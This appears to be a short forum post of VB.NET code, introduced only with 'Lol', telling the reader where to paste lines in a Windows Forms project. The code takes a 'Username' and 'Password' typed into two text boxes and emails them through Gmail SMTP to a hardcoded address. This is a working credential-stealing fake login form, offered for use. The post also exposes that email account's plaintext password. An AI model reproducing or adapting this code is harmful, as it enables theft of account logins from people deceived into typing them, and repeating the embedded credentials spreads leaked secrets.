Lol

imports system.net.mail     'Put this above Public Class Form1

Dim smtpServer As New SmtpClient()      'Put this below Public Class Form1
Dim mail As New MailMessage()       'Put this below Public Class Form1

'Put all the rest below the Private sub Buttun1_...
smtpServer.Credentials = New Net.NetworkCredential("iloveminecraft790@gmail.com", "243211period9")
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("iloveminecraft790@gmail.com")
mail.To.Add("iloveminecraft790@gmail.com")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
smtpServer.Send(mail)